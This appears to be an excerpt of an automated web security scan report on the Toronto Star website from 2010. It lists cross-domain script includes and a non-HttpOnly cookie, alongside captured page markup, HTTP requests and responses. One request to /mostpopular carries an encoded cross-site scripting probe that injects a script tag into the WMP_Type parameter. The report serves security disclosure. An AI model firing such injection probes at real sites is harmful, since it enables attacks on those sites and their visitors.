...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.parentcentral.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/ParentCentral/3/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral.jpg" alt="ParentCentral Logo">
</a>
...[SNIP]...
ly-resorts" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/ParentCentral/3/2');">
<img src="http://media.thestar.topscms.com/images/5f/08/9dbcdeae4728ab68bc219bd5caec.jpeg" alt="Think you can't get away because you have a wee one (or two!) at home? Think again. There are some with-it resorts that cater to babies." />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_right.jpg" alt="ParentCentral">
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...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_left.jpg" alt="YourHome" >
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...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.yourhome.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/YourHome/4/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome.jpg" alt="YourHome Logo">
</a>
...[SNIP]...
ts-to-clean-now" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/YourHome/4/2');">
<img src="http://media.thestar.topscms.com/images/7e/51/6dfd33824ad6b7c6244e42f73866.jpeg" alt="Cutting boards and knives are the kitchen equivalent of a welcome mat ... they...re usually the first thing food touches before it...s cooked. Clean and disinfect them after each use." />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_right.jpg" alt="YourHome">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_left.jpg" alt="HealthZone" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.healthzone.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/HealthZone/5/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone.jpg" alt="HealthZone Logo">
</a>
...[SNIP]...
-organs-again" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/HealthZone/5/2');">
<img src="http://media.thestar.topscms.com/images/df/1c/378e1c4b4c12ba9f9d5334f12a6e.jpeg" alt="Marc Quinet tosses Thomas's favourite Buffalo Bills cap to him as they prepare to set out for the 13-year-olds math class at the Hospital for Sick Children.
" />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_right.jpg" alt="HealthZone">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_left.jpg" alt="Toronto.com" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.toronto.com" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Toronto.com/6/5');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Toronto.com.jpg" alt="Toronto.com Logo">
</a>
...[SNIP]...
<div class="ts-footer_imgset133">
<a href="http://www.toronto.com/guide/festive" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/Toronto.com/5/2');">
<img src="http://media.thestar.topscms.com/images/20/5a/1ab89e624ea6a69b8a69a19068c5.gif" alt="toronto.com : Festive Guide"></a>
</div>
<div class="ts-tdc_slide_desc">
<a href="http://www.toronto.com/guide/festive" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Toronto.com/Festive Guide/5/3');">
Festive Guide: Holiday events, gifts, party planning</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_right.jpg" alt="Toronto.com">
        </div>
...[SNIP]...
<li><a href="http://jobs.workopolis.com/jobshome/db/thestar.featured_joblist?pi_employer=18950">Careers @ the Star</a>
...[SNIP]...
<li><a href="http://mediakit.thestar.ca" target="_blank">Media Kit</a>
...[SNIP]...
<li><a href="http://www.classroomconnection.ca" target="_blank">Classroom Connection</a>
...[SNIP]...
<td><a href="http://www.wheels.ca" target="_blank">wheels.ca</a>
...[SNIP]...
<td><a href="http://www.toronto.com" target="_blank">toronto.com</a>
...[SNIP]...
<td><a href="http://pagesofthepast.ca/" target="_blank">pages of the past</a>
...[SNIP]...
<td><a href="http://travelalerts.ca/?utm_source=TheStar&utm_content=homepage_textlink&utm_campaign=TheStar_Homepage
" target="_blank">Cheap Flights</a>
...[SNIP]...
<td><a href="http://www.newinhomes.com/" target="_blank">New in Homes</a>
...[SNIP]...
<td><a href="http://www.InsuranceHotline.com" target="_blank">Car Insurance Quotes</a>
...[SNIP]...
<td><a href="http://leasebusters.com/" target="_blank">Leasebusters.com</a>
...[SNIP]...
<td><a href="http://save.ca/" target="_blank">Save.ca</a>
...[SNIP]...
<td><a href="http://shoptvcanada.com/" target="_blank">ShopTV</a>
...[SNIP]...
<td><a href="http://www.starsavers.ca/" target="_blank">starsavers.ca</a>
...[SNIP]...
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<script type="text/javascript"
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2.6. http://www.thestar.com/searchresults previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

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Response

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...[SNIP]...
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<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/td.css" />
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...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/987201/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_237x90_1;size=237x90;key=;" border="0" width="237" height="90"></a>
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/906388/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_728x90_1;size=728x90;key=;" border="0" width="728" height="90"></a>
...[SNIP]...
<li><a href="http://www.moneyville.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/moneyville.gif" alt="moneyville" />
...[SNIP]...
<li><a href="http://www.wheels.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/wheels.gif" alt="wheels" />
...[SNIP]...
<li><a href="http://www.healthzone.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/healthzone.gif" alt="healthzone" />
...[SNIP]...
<li><a href="http://www.parentcentral.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/parentcentral.gif" alt="parentcentral" />
...[SNIP]...
<li><a href="http://www.yourhome.ca" target="_blank"><img src="/App_Themes/Standard/images/icons/yourhome.gif" alt="yourhome" />
...[SNIP]...
<li><a href="http://www.toronto.com" target="_blank"><img src="/App_Themes/Standard/images/icons/tdc.gif" alt="tdc" />
...[SNIP]...
<a href="/" class="thestarlogo"><img src="http://static.thestar.topscms.com/app_themes/standard/images/common/thestar_logo.gif" alt="The Star" /></a>
...[SNIP]...
<li><a href="http://pqasb.pqarchiver.com/thestar/search.html">full text article archive</a>
...[SNIP]...
<li class=" ">
<a href="http://thestar.blogs.com/" target="_blank" >
<span>
...[SNIP]...
<li class="ts-first">
<a href="http://vehicles.wheels.ca/used-cars/" target="_blank">Autos</a>
...[SNIP]...
<li >
<a href="http://thestar.workopolis.com" target="_blank">Careers</a>
...[SNIP]...
<li >
<a href="http://www.legacy.com/TheStar/Obituaries.asp" target="_blank">Deaths</a>
...[SNIP]...
<li class="ts-last">
<a href="http://www.gottarent.com/" target="_blank">Rentals</a>
...[SNIP]...
<li><a href="http://affiliate.zap2it.com/tvlistings/ZCGrid.do?aid=tos" target="_blank">TV Listings</a>
...[SNIP]...
<li><a href="http://www.goldbook.ca" target="_blank">goldbook.ca</a>
...[SNIP]...
<li><a href="http://www.flyerland.ca" target="_blank">flyerland.ca</a>
...[SNIP]...
<li><a href="http://www.starauctions.ca" target="_blank">starauctions.ca</a>
...[SNIP]...
<li><a href="http://www.wonderlist.ca" target="_blank">wonderlist.ca</a>
...[SNIP]...
<li><a href="http://www.insurancehotline.com" target="_blank">insurancehotline.com</a>
...[SNIP]...
<li><a href="http://www.parentcentral.ca" target="_blank">parentcentral.ca</a>
...[SNIP]...
<li><a href="http://www.toronto.com/" target="_blank">toronto.com</a>
...[SNIP]...
<li><a href="http://www.yourhome.ca" target="_blank">yourhome.ca</a>
...[SNIP]...
<li><a href="http://www.wheels.ca" target="_blank">wheels.ca</a>
...[SNIP]...
<li><a href="http://newinhomes.com" target="_blank">Newinhomes.com</a>
...[SNIP]...
<li><a href="http://www.healthzone.ca/health/newsfeatures/organdonation" onClick="javascript: pageTracker._trackPageview('Searchresults-/Navigation/Hot Topics/Topic Title/Healthzone/3/1');">Organ donation</a>
...[SNIP]...
<li><a href="http://www.moneyville.ca/article/886625--tell-us-how-you-save-on-fees" onClick="javascript: pageTracker._trackPageview('Searchresults-/Navigation/Hot Topics/Topic Title/Moneyville/8/1');">Beat the fees</a>
...[SNIP]...
<div class="ts-right">Search our <a href="http://pqasb.pqarchiver.com/thestar/results.html?st=advanced&QryTxt=>>">paid archives for <b>
...[SNIP]...
<noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://n.thestar.com/b/ss/thestarprod/1/H.20.3--NS/0" height="1" width="1" border="0" alt="Web Analytics Image" />
...[SNIP]...
<noscript>
<a href="http://adserver.adtechus.com/adlink/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;rdclick=" target="_blank"><img src="http://adserver.adtechus.com/adserv/3.0/5214.1/906389/0/-1/ADTECH;loc=100;alias=thestar_searchresults_hub_300x250_1;size=300x250;key=;" border="0" width="300" height="250"></a>
...[SNIP]...
</script>
<script language="JavaScript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_left.jpg" alt="moneyville" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.moneyville.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/moneyville/1/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville.jpg" alt="moneyville Logo">
</a>
...[SNIP]...
t-begin-at-67" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/moneyville/1/2');">
<img src="http://media.thestar.topscms.com/images/4a/12/7db0d8e04469918d1d75ca7a4b29.jpeg" alt="Should retirement begin at 67?" />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/moneyville_right.jpg" alt="moneyville">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_left.jpg" alt="Wheels" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.wheels.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Wheels/2/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels.jpg" alt="Wheels Logo">
</a>
...[SNIP]...

<a href="http://www.wheels.ca/article/792482" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/Wheels/1/2');">


<img src="http://media.wheels.topscms.com/images/75/24/03caafc6410f8c34ac4498caa2f9.jpeg" width=133 height=100 alt="Best Vehicles of 2011"></a>
...[SNIP]...

<a href="http://www.wheels.ca/article/792482" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Wheels.ca/1/3');">


...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Wheels_right.jpg" alt="Wheels">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_left.jpg" alt="ParentCentral" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.parentcentral.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/ParentCentral/3/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral.jpg" alt="ParentCentral Logo">
</a>
...[SNIP]...
ly-resorts" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/ParentCentral/3/2');">
<img src="http://media.thestar.topscms.com/images/5f/08/9dbcdeae4728ab68bc219bd5caec.jpeg" alt="Think you can't get away because you have a wee one (or two!) at home? Think again. There are some with-it resorts that cater to babies." />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/ParentCentral_right.jpg" alt="ParentCentral">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_left.jpg" alt="YourHome" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.yourhome.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/YourHome/4/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome.jpg" alt="YourHome Logo">
</a>
...[SNIP]...
ts-to-clean-now" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/YourHome/4/2');">
<img src="http://media.thestar.topscms.com/images/7e/51/6dfd33824ad6b7c6244e42f73866.jpeg" alt="Cutting boards and knives are the kitchen equivalent of a welcome mat ... they...re usually the first thing food touches before it...s cooked. Clean and disinfect them after each use." />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/YourHome_right.jpg" alt="YourHome">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_left.jpg" alt="HealthZone" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.healthzone.ca" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/HealthZone/5/1');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone.jpg" alt="HealthZone Logo">
</a>
...[SNIP]...
-organs-again" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/HealthZone/5/2');">
<img src="http://media.thestar.topscms.com/images/df/1c/378e1c4b4c12ba9f9d5334f12a6e.jpeg" alt="Marc Quinet tosses Thomas's favourite Buffalo Bills cap to him as they prepare to set out for the 13-year-olds math class at the Hospital for Sick Children.
" />
</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/HealthZone_right.jpg" alt="HealthZone">
        </div>
...[SNIP]...
<div class="ts-slideleft">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_left.jpg" alt="Toronto.com" >
        </div>
...[SNIP]...
<div class="ts-smgfooter_logo">
<a href="http://www.toronto.com" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Toronto.com/6/5');">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/Toronto.com.jpg" alt="Toronto.com Logo">
</a>
...[SNIP]...
<div class="ts-footer_imgset133">
<a href="http://www.toronto.com/guide/festive" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Image/Vertical Promo Strip/Toronto.com/5/2');">
<img src="http://media.thestar.topscms.com/images/20/5a/1ab89e624ea6a69b8a69a19068c5.gif" alt="toronto.com : Festive Guide"></a>
</div>
<div class="ts-tdc_slide_desc">
<a href="http://www.toronto.com/guide/festive" onclick="javascript: pageTracker._trackPageview('Searchresults/Footer/Vertical Promo Strip/Toronto.com/Festive Guide/5/3');">
Festive Guide: Holiday events, gifts, party planning</a>
...[SNIP]...
<div class="ts-slideright">
<img src="http://static.thestar.topscms.com/app_themes/Standard/images/common/Footer/tdc_right.jpg" alt="Toronto.com">
        </div>
...[SNIP]...
<li><a href="http://jobs.workopolis.com/jobshome/db/thestar.featured_joblist?pi_employer=18950">Careers @ the Star</a>
...[SNIP]...
<li><a href="http://mediakit.thestar.ca" target="_blank">Media Kit</a>
...[SNIP]...
<li><a href="http://www.classroomconnection.ca" target="_blank">Classroom Connection</a>
...[SNIP]...
<td><a href="http://www.wheels.ca" target="_blank">wheels.ca</a>
...[SNIP]...
<td><a href="http://www.toronto.com" target="_blank">toronto.com</a>
...[SNIP]...
<td><a href="http://pagesofthepast.ca/" target="_blank">pages of the past</a>
...[SNIP]...
<td><a href="http://travelalerts.ca/?utm_source=TheStar&utm_content=homepage_textlink&utm_campaign=TheStar_Homepage
" target="_blank">Cheap Flights</a>
...[SNIP]...
<td><a href="http://www.newinhomes.com/" target="_blank">New in Homes</a>
...[SNIP]...
<td><a href="http://www.InsuranceHotline.com" target="_blank">Car Insurance Quotes</a>
...[SNIP]...
<td><a href="http://leasebusters.com/" target="_blank">Leasebusters.com</a>
...[SNIP]...
<td><a href="http://save.ca/" target="_blank">Save.ca</a>
...[SNIP]...
<td><a href="http://shoptvcanada.com/" target="_blank">ShopTV</a>
...[SNIP]...
<td><a href="http://www.starsavers.ca/" target="_blank">starsavers.ca</a>
...[SNIP]...
</div>

<script type="text/javascript"
   src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php"></script>
...[SNIP]...

3. Cross-domain script include previous next
There are 5 instances of this issue:

/
//mostpopular
/mostpopular
/searchresults
/xd_receiver.htm

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://www.thestar.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://eyereact.eyereturn.com/tag.aspx?ID=7
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php
http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssFeedReader.class.js
http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssFeedTemplate.class.js
http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssValueGetters.class.js
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js
http://static.thestar.topscms.com/js/TD.js
http://static.thestar.topscms.com/js/TLax.js
http://static.thestar.topscms.com/js/s_code.js
http://www.google.com/jsapi?autoload=%7B%22modules%22%3A%5B%7B%22name%22%3A%22feeds%22%2C%22version%22%3A%221%22%2C%22nocss%22%3A%22true%22%7D%5D%7D

Request

GET / HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.google.com/url?sa=t&source=web&cd=1&ved=0CBYQFjAA&url=http%3A%2F%2Fwww.thestar.com%2F&rct=j&q=toronto%20top%20newspapers&ei=21bnTM74H4W0lQeu1M2fDA&usg=AFQjCNHMpBZmGnxi-EiwkjS0uhLEKy4nvQ
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Expires: Sat, 20 Nov 2010 05:18:13 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-2
cache-control: public, max-age=300
X-TOPS-CacheReason: TheStarHomePage
Date: Sat, 20 Nov 2010 05:18:18 GMT
X-Varnish: 848707087 848706977
Age: 1
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish3
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BIGipServerTOPS-WebFarm5=587273132.20480.0000; path=/
Content-Length: 206141

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/td.css" />
<script language="javascript" type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.ProjectTheStar.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TLax.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/s_code.js"></script>
...[SNIP]...
<link type="text/css" rel="stylesheet" href="/TopletsResources/Polling/css/style.css" />
<script language="javascript" type="text/javascript" src="http://www.google.com/jsapi?autoload=%7B%22modules%22%3A%5B%7B%22name%22%3A%22feeds%22%2C%22version%22%3A%221%22%2C%22nocss%22%3A%22true%22%7D%5D%7D"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssFeedReader.class.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssValueGetters.class.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/RssFeedsClientSide/GoogleFeeds/RssFeedTemplate.class.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</div>

<script type="text/javascript"
src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://eyereact.eyereturn.com/tag.aspx?ID=7"></script>
...[SNIP]...

3.2. http://www.thestar.com//mostpopular previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	//mostpopular

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js

Request

GET //mostpopular?category=&WMP_ApplyGoogleAnalytics=true&WMP_Type=Widgetf1b25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eHOYT%20LLC%20PoC HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: www.thestar.com
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; title=ALL DATES; fbsetting_e52ab4b1285fa2e64697937423b7772b=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; s_cc=true; s_vnumb=1290230323693%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.3.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

3.3. http://www.thestar.com/mostpopular previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/mostpopular

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-3
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:18:30 GMT
X-Varnish: 2024485016 2024465344
Age: 252
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 296
Content-Length: 8443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1"><title>
M
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://static.thestar.topscms.com/css/td.css" />
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/TopletsResources/js/jquery.min.js"></script>
<script language="javascript" type="text/javascript" src="http://static.thestar.topscms.com/js/TD.ProjectTheStar.js"></script>
...[SNIP]...

3.4. http://www.thestar.com/searchresults previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/searchresults

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php
http://static.thestar.topscms.com/TopletsResources/jquery-lightbox-0.5/js/jquery.lightbox-0.5.min.js
http://static.thestar.topscms.com/js/TD.ProjectTheStar.js
http://static.thestar.topscms.com/js/TD.js
http://static.thestar.topscms.com/js/TLax.js
http://static.thestar.topscms.com/js/s_code.js
http://www.google.com/afsonline/show_afs_ads.js

Request

Response

3.5. http://www.thestar.com/xd_receiver.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/xd_receiver.htm

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.debug.js

Request

GET /xd_receiver.htm HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.facebook.com/extern/login_status.php?api_key=e52ab4b1285fa2e64697937423b7772b&extern=0&channel=http%3A%2F%2Fwww.thestar.com%2Fxd_receiver.htm&locale=en_US
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: www.thestar.com
Proxy-Connection: Keep-Alive
Cookie: BIGipServerTOPS-WebFarm5=604050348.20480.0000; UserLastLogin=2010-11-20 00:17:12; cookieEVar1=standard; s_cc=true; s_vnumb=1290230236629%3E0%3A1; s_vnumb_s=1; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|2673AD10851D12D2-6000012C0002F184[CE]; __utma=129518793.178290496.1290230241.1290230241.1290230241.1; __utmb=129518793.1.10.1290230241; __utmc=129518793; __utmz=129518793.1290230248.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=toronto%20top%20newspapers

Response

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Wed, 29 Jul 2009 19:35:26 GMT
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
WS: 2-1
X-TOPS-CacheReason: Speed
cache-control: public, max-age = 300
Date: Sat, 20 Nov 2010 05:19:34 GMT
X-Varnish: 2024489808 2024478896
Age: 137
Via: 1.1 varnish
Connection: keep-alive
X-Cache-Svr: topsvarnish4
X-Cache: HIT
X-Cache-Hits: 132
Content-Length: 371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>cross domain receiver pa
...[SNIP]...
<body>
<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/XdCommReceiver.debug.js" type="text/javascript"></script>
...[SNIP]...

4. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.thestar.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerTOPS-WebFarm5=587273132.20480.0000; path=/

